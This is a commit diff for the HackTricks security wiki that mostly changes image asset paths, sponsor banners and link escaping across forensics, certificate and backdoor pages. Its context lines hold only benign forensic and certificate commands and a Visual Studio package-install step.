GITBOOK-4092: change request with no subject merged in GitBook

README.md

@@ -32,7 +32,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
 
 ### [RootedCON](https://www.rootedcon.com/)
 
-<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
 
 [**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
 
@@ -40,7 +40,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
 
 ### [Intigriti](https://www.intigriti.com)
 
-<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.**
 
@@ -50,7 +50,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm
 
 ### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.
@@ -114,8 +114,6 @@ In addition to the above WebSec is also a **committed supporter of HackTricks.**
 
 [**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**, DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Asimismo, organiza la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
 
-
-
 ## License
 
 **Copyright © Carlos Polop 2023. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\

backdoors/salseo.md

@@ -99,17 +99,17 @@ Open the SalseoLoader project using Visual Studio.
 
 ### Add before the main function: \[DllExport]
 
-![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png>)
 
 ### Install DllExport for this project
 
 #### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
 
-![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1).png>)
 
 #### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
 
-![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png>)
 
 In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
 

cryptography/certificates.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -197,10 +197,10 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
 openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile  cacert.cer
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -212,7 +212,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/linux-forensics.md

@@ -1,6 +1,6 @@
 # Linux Forensics
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -15,8 +15,8 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -161,7 +161,7 @@ icat -i raw -f ext4 disk.img 16
 ThisisTheMasterSecret
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -224,7 +224,7 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found"
 find /sbin/ –exec rpm -qf {} \; | grep "is not"
 ```
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -365,10 +365,10 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
 
 More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -445,13 +445,13 @@ Do you work in a **cybersecurity company**? Do you want to see your **company ad
 
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 
-**Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+**Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
 Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\

forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md

@@ -12,7 +12,7 @@
 
 </details>
 
-<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -231,7 +231,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
 
 * [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
 
-<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
+<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -268,10 +268,10 @@ Opera **stores browser history and download data in the exact same format as Goo
 * **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
   * **fraud\_protection\_enabled** should be **true**
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -283,7 +283,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -113,10 +113,10 @@ Other tables inside this database contain more interesting information:
 * **deleted\_fields**: Dropbox deleted files
 * **date\_added**
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -128,7 +128,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -92,10 +92,10 @@ Macro functions like `AutoOpen`, `AutoExec` or `Document_Open` will be **automat
 
 * [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
 \
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
+Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
 Get Access Today:
 
 {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -107,7 +107,7 @@ Get Access Today:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md

@@ -7,15 +7,15 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
